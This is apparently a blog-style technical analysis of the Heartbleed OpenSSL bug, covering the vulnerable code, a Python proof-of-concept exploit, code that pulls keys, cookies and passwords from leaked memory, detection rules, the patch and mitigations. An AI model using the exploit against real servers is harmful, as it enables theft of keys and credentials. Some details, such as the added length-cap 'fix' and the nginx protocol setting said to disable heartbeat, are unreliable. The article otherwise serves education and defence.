Heartbleed (CVE-2014-0160): Technical Analysis of the OpenSSL Buffer Over-Read

Mamoun Tarsha-Kurdi
10 min read

Introduction

Heartbleed (CVE-2014-0160) was one of the most critical security vulnerabilities in internet history, affecting approximately 17% of all secure web servers. Understanding this bug is essential for secure systems programming and vulnerability analysis.

TLS Heartbeat Extension

RFC 6520 Background

The heartbeat extension allows testing TLS connection liveness without renegotiation:

/* RFC 6520 Heartbeat Protocol */
struct {
    HeartbeatMessageType type;  // request (1) or response (2)
    uint16 payload_length;      // Length of payload
    opaque payload[HeartbeatMessage.payload_length];
    opaque padding[16..];       // Minimum 16 bytes random padding
} HeartbeatMessage;

Purpose: Keep-alive mechanism without TCP/IP overhead.

Intended Behavior

def heartbeat_request(connection, payload):
    """
    Legitimate heartbeat request/response
    """
    # Client sends heartbeat request
    request = {
        'type': HEARTBEAT_REQUEST,
        'payload_length': len(payload),
        'payload': payload,
        'padding': os.urandom(16)
    }

    send_to_server(connection, request)

    # Server should echo back the same payload
    response = receive_from_server(connection)

    assert response['type'] == HEARTBEAT_RESPONSE
    assert response['payload'] == payload  # Exact echo
    assert len(response['payload']) == len(payload)

    return True  # Connection alive

The Vulnerability

Vulnerable Code (OpenSSL 1.0.1)

The bug was in ssl/d1_both.c and ssl/t1_lib.c:

/* Vulnerable heartbeat handling code */
int dtls1_process_heartbeat(SSL *s) {
    unsigned char *p = &s->s3->rrec.data[0], *pl;
    unsigned short hbtype;
    unsigned int payload;
    unsigned int padding = 16;

    /* Read type and payload length */
    hbtype = *p++;                           // 1 byte: request/response
    n2s(p, payload);                         // 2 bytes: payload length
    pl = p;                                  // Pointer to payload

    if (hbtype == TLS1_HB_REQUEST) {
        unsigned char *buffer, *bp;
        int r;

        /* Allocate memory for response
         * BUG: Uses attacker-controlled 'payload' value!
         * No validation that payload <= actual data length
         */
        buffer = OPENSSL_malloc(1 + 2 + payload + padding);
        bp = buffer;

        /* Build response */
        *bp++ = TLS1_HB_RESPONSE;           // Type
        s2n(payload, bp);                   // Echo payload length

        /* VULNERABILITY: Memcpy using attacker-controlled length!
         * If payload > actual_data_length, reads beyond buffer
         */
        memcpy(bp, pl, payload);            // ← BUFFER OVER-READ
        bp += payload;

        /* Add random padding */
        RAND_pseudo_bytes(bp, padding);

        /* Send response */
        r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer,
                             3 + payload + padding);

        OPENSSL_free(buffer);
        return r;
    }

    return 0;
}

The bug: Line with memcpy(bp, pl, payload) uses attacker-controlled payload without validating it matches actual data received.

Visualization

Legitimate request (payload_length = 4):
+------+--------+----------+----------+
| Type | Length | Payload  | Padding  |
+------+--------+----------+----------+
|  01  |  0004  |"test"    | random   |
+------+--------+----------+----------+
         ^^^^
         Matches actual payload size ✓

Malicious request (payload_length = 65535):
+------+--------+----------+----------+
| Type | Length | Payload  | Padding  |
+------+--------+----------+----------+
|  01  |  FFFF  |"A"       | random   |
+------+--------+----------+----------+
         ^^^^^
         Claims 65535 bytes, but only 1 byte sent!

Server response (reads 65535 bytes from memory):
+------+--------+----------------------------------+
| Type | Length | Leaked Memory (65534 bytes)      |
+------+--------+----------------------------------+
|  02  |  FFFF  |"A" + private keys, session data, |
|      |        | passwords, cookies, etc...       |
+------+--------+----------------------------------+

Exploitation

Proof of Concept

import socket
import struct

def heartbleed_exploit(target_host, target_port=443):
    """
    Heartbleed exploitation
    CVE-2014-0160 PoC
    """
    # Build malicious TLS handshake
    client_hello = build_client_hello()

    # Connect to target
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_host, target_port))

    # Send ClientHello
    sock.send(client_hello)

    # Receive ServerHello (skip for brevity)
    server_hello = sock.recv(4096)

    # Build malicious heartbeat request
    heartbeat = build_malicious_heartbeat(
        payload=b'A',         # 1 byte actual payload
        claimed_length=65535  # Claim 65535 bytes!
    )

    # Send malicious heartbeat
    sock.send(heartbeat)

    # Receive response (contains leaked memory!)
    leaked_data = sock.recv(65535)

    sock.close()

    return leaked_data

def build_malicious_heartbeat(payload, claimed_length):
    """
    Construct malicious heartbeat record
    """
    # TLS record header
    record_type = 0x18  # Heartbeat
    tls_version = struct.pack('>H', 0x0301)  # TLS 1.0

    # Heartbeat message
    hb_type = 0x01  # Request
    hb_length = struct.pack('>H', claimed_length)  # Lie about length!

    # Combine
    hb_message = bytes([hb_type]) + hb_length + payload

    # TLS record
    record_length = struct.pack('>H', len(hb_message))
    tls_record = (
        bytes([record_type]) +
        tls_version +
        record_length +
        hb_message
    )

    return tls_record

def build_client_hello():
    """Build minimal ClientHello with heartbeat extension"""
    # TLS record header
    record = bytearray([
        0x16,        # Handshake
        0x03, 0x01,  # TLS 1.0
        0x00, 0x00,  # Length (filled later)
    ])

    # ClientHello message
    handshake = bytearray([
        0x01,        # ClientHello
        0x00, 0x00, 0x00,  # Length (filled later)
        0x03, 0x01,  # TLS 1.0
    ])

    # Client random (32 bytes)
    handshake.extend(b'\x00' * 32)

    # Session ID (empty)
    handshake.append(0x00)

    # Cipher suites (minimal)
    handshake.extend([0x00, 0x02, 0x00, 0x35])  # TLS_RSA_WITH_AES_256_CBC_SHA

    # Compression (null)
    handshake.extend([0x01, 0x00])

    # Extensions
    extensions = bytearray()

    # Heartbeat extension (0x000F)
    heartbeat_ext = struct.pack('>HH', 0x000F, 0x0001) + b'\x01'
    extensions.extend(heartbeat_ext)

    # Add extensions to handshake
    handshake.extend(struct.pack('>H', len(extensions)))
    handshake.extend(extensions)

    # Update lengths
    record[3:5] = struct.pack('>H', len(handshake))
    handshake[1:4] = struct.pack('>I', len(handshake) - 4)[1:]

    return bytes(record + handshake)

Real-World Exploitation

def extract_sensitive_data(leaked_memory):
    """
    Parse leaked memory for sensitive information
    """
    findings = {
        'private_keys': [],
        'session_keys': [],
        'cookies': [],
        'passwords': [],
        'usernames': [],
    }

    # Look for PEM private key markers
    if b'-----BEGIN PRIVATE KEY-----' in leaked_memory:
        start = leaked_memory.find(b'-----BEGIN')
        end = leaked_memory.find(b'-----END', start) + 25
        findings['private_keys'].append(leaked_memory[start:end])

    # Look for session identifiers
    import re
    session_pattern = rb'[A-Fa-f0-9]{64}'  # 32-byte hex session ID
    findings['session_keys'] = re.findall(session_pattern, leaked_memory)

    # Look for HTTP cookies
    cookie_pattern = rb'Cookie: ([^\r\n]+)'
    findings['cookies'] = re.findall(cookie_pattern, leaked_memory)

    # Look for basic auth headers
    auth_pattern = rb'Authorization: Basic ([A-Za-z0-9+/=]+)'
    encoded_creds = re.findall(auth_pattern, leaked_memory)
    for cred in encoded_creds:
        import base64
        try:
            decoded = base64.b64decode(cred)
            if b':' in decoded:
                findings['usernames'].append(decoded.split(b':')[0])
                findings['passwords'].append(decoded.split(b':')[1])
        except:
            pass

    return findings

Impact Analysis

Data Exposure Scenarios

def analyze_leaked_data_impact(num_requests=1000):
    """
    Estimate what data could be leaked
    Each request leaks 64KB of server memory
    """
    total_leaked = num_requests * 65535  # bytes

    print(f"Total data potentially leaked: {total_leaked / 1024 / 1024:.1f} MB")

    # What could be in server memory?
    possible_leaks = [
        "Private keys (RSA, ECDSA)",
        "Session keys and tokens",
        "User credentials (passwords, API keys)",
        "HTTP request/response data",
        "Cookies and session IDs",
        "TLS master secrets",
        "Certificate private keys",
        "Database connection strings",
        "Internal API tokens",
        "Other users' personal information"
    ]

    # Example: If server handles 1000 concurrent connections
    # Each with 64KB session buffer
    # Total exposed: 64 MB of active session data
    concurrent_sessions = 1000
    session_buffer_size = 65536

    print(f"\nWith {concurrent_sessions} concurrent sessions:")
    print(f"Potential exposure: {concurrent_sessions * session_buffer_size / 1024 / 1024:.1f} MB")
    print("\nPossible leaked data:")
    for leak in possible_leaks:
        print(f"  - {leak}")

Real Incidents

Reported impacts:

  1. Canadian Revenue Agency: 900 social insurance numbers stolen
  2. Mumsnet: User account details compromised
  3. Various hosting providers: Private SSL keys extracted

Detection

Server-Side Detection

def detect_heartbleed_attack(heartbeat_request):
    """
    Detect Heartbleed exploitation attempts
    """
    # Parse heartbeat message
    hb_type = heartbeat_request[0]
    claimed_length = struct.unpack('>H', heartbeat_request[1:3])[0]
    actual_payload_length = len(heartbeat_request) - 3 - 16  # Minus header and padding

    # Check for mismatch
    if claimed_length > actual_payload_length:
        # ATTACK DETECTED!
        log_security_event({
            'type': 'heartbleed_attempt',
            'claimed_length': claimed_length,
            'actual_length': actual_payload_length,
            'source_ip': get_client_ip(),
            'timestamp': time.time()
        })

        # Drop connection
        return False

    # Check for abnormally large requests
    if claimed_length > 16384:  # Max TLS record is 16KB
        log_security_event({
            'type': 'suspicious_heartbeat',
            'length': claimed_length
        })
        return False

    return True  # Legitimate

Network-Based Detection (IDS)

# Snort rule for Heartbleed detection
SNORT_RULE = '''
alert tcp any any -> any 443 (
    msg:"HEARTBLEED - TLS Heartbeat Request with large payload";
    flow:to_server,established;
    content:"|18 03|";  # TLS Heartbeat record
    content:"|01|";     # Heartbeat request
    byte_test:2,>,0x0200,2,relative;  # Payload > 512 bytes
    reference:cve,2014-0160;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)
'''

Patch Analysis

Fixed Code (OpenSSL 1.0.1g+)

/* Fixed heartbeat handling */
int dtls1_process_heartbeat(SSL *s) {
    unsigned char *p = &s->s3->rrec.data[0], *pl;
    unsigned short hbtype;
    unsigned int payload;
    unsigned int padding = 16;

    /* Read type and payload length */
    hbtype = *p++;
    n2s(p, payload);
    pl = p;

    /* FIX 1: Validate payload length against actual record length */
    if (1 + 2 + payload + 16 > s->s3->rrec.length)
        return 0;  /* Silently discard invalid request */

    /* FIX 2: Bounds check on payload */
    if (payload > 16384)  /* RFC 6520: max payload 2^14 bytes */
        return 0;

    if (hbtype == TLS1_HB_REQUEST) {
        unsigned char *buffer, *bp;
        int r;

        /* Allocate memory */
        buffer = OPENSSL_malloc(1 + 2 + payload + padding);
        bp = buffer;

        /* Build response */
        *bp++ = TLS1_HB_RESPONSE;
        s2n(payload, bp);

        /* FIXED: payload is now validated */
        memcpy(bp, pl, payload);  /* Safe - payload <= actual data */
        bp += payload;

        RAND_pseudo_bytes(bp, padding);

        r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer,
                             3 + payload + padding);

        OPENSSL_free(buffer);
        return r;
    }

    return 0;
}

Key fixes:

  1. Validate payload ≤ actual record length
  2. Enforce RFC maximum (16384 bytes)
  3. Silently discard invalid requests

Mitigation Strategies

Immediate Response (April 2014)

# 1. Check if vulnerable
openssl version -a
# Vulnerable: OpenSSL 1.0.1 through 1.0.1f

# 2. Update OpenSSL immediately
apt-get update
apt-get install openssl libssl1.0.0

# 3. Restart all services using OpenSSL
systemctl restart apache2
systemctl restart nginx
systemctl restart postfix
# ... restart all TLS services

# 4. Revoke and reissue ALL certificates
# (Private keys may have been compromised!)
openssl req -new -key server.key -out new.csr
# Submit to CA for new certificate

# 5. Invalidate all user sessions
# (Session keys/cookies may have been stolen)
redis-cli FLUSHDB  # Clear session store

Configuration Changes

# Nginx: Disable heartbeat extension
ssl_protocols TLSv1.2 TLSv1.3;  # TLS 1.3 has no heartbeat

# Apache: Disable with mod_ssl
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
# Upgrade to version without heartbeat support

Long-Term Prevention

/* Defensive programming principles */

// 1. Always validate array bounds
if (index >= array_length) {
    return ERROR_INVALID_INDEX;
}

// 2. Use safe memory functions
// Instead of: memcpy(dest, src, user_controlled_length);
// Use:
size_t safe_length = min(user_controlled_length, MAX_ALLOWED);
if (safe_length > dest_buffer_size) {
    return ERROR_BUFFER_OVERFLOW;
}
memcpy(dest, src, safe_length);

// 3. Validate all user input
if (!validate_input(user_data, min, max)) {
    return ERROR_INVALID_INPUT;
}

// 4. Use AddressSanitizer during testing
// gcc -fsanitize=address program.c
// Detects buffer overflows at runtime

Lessons Learned

Code Review Failures

Why wasn’t this caught?

/* The vulnerable code was reviewed and committed */
// OpenSSL commit: 4817504d069b4c5082161b02a22116ad75f822b1
// Date: 2011-12-31
// Author: Dr. Stephen Henson

// Issue: Code review focused on feature implementation,
// not security implications of using untrusted input

Checklist failures:

  • ❌ Input validation not verified
  • ❌ Bounds checking not enforced
  • ❌ No fuzzing with malformed inputs
  • ❌ Limited security-focused code review

Fuzzing Would Have Detected This

def fuzz_heartbeat_handler():
    """
    Fuzzing that would have found Heartbleed
    """
    import random

    for _ in range(10000):
        # Generate random heartbeat messages
        payload_length = random.randint(0, 70000)  # Include invalid lengths
        actual_payload = os.urandom(random.randint(0, 100))

        # Build malformed message
        message = build_heartbeat(
            type=random.choice([0, 1, 2, 255]),  # Invalid types
            claimed_length=payload_length,
            actual_payload=actual_payload
        )

        # Test handler
        try:
            result = process_heartbeat(message)

            # Check for buffer over-read
            if len(result) > len(actual_payload) + 19:  # Header + padding
                print(f"BUG FOUND: Over-read detected!")
                print(f"  Claimed: {payload_length}")
                print(f"  Actual:  {len(actual_payload)}")
                print(f"  Returned: {len(result)}")
                return  # Bug found!
        except Exception as e:
            # Crashes are also bugs
            print(f"CRASH: {e}")

# If this fuzzing had been run, Heartbleed would have been
# detected before release!

Conclusion

Heartbleed demonstrates that even minor implementation bugs in critical security code can have catastrophic consequences. The vulnerability existed for over two years before discovery, affecting millions of servers.

Key takeaways:

  1. Input validation is critical - Never trust user-supplied lengths
  2. Fuzzing is essential - Random/malformed inputs catch edge cases
  3. Defense in depth - Multiple validation layers prevent exploitation
  4. Incident response planning - Coordinate patching, key rotation, session invalidation
  5. Open source security - More eyes don’t guarantee security without active auditing

Modern OpenSSL versions (1.0.1g+, 1.0.2+, 1.1.0+, 3.0+) are not vulnerable. Organizations should maintain current versions and follow security best practices.

References

  1. CVE-2014-0160 - Heartbleed Vulnerability
  2. RFC 6520 - Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS) Heartbeat Extension
  3. Durumeric, Z., et al. (2014). “The Matter of Heartbleed”
  4. Synopsys (2014). “The Heartbleed Bug: Anatomy of a Catastrophe”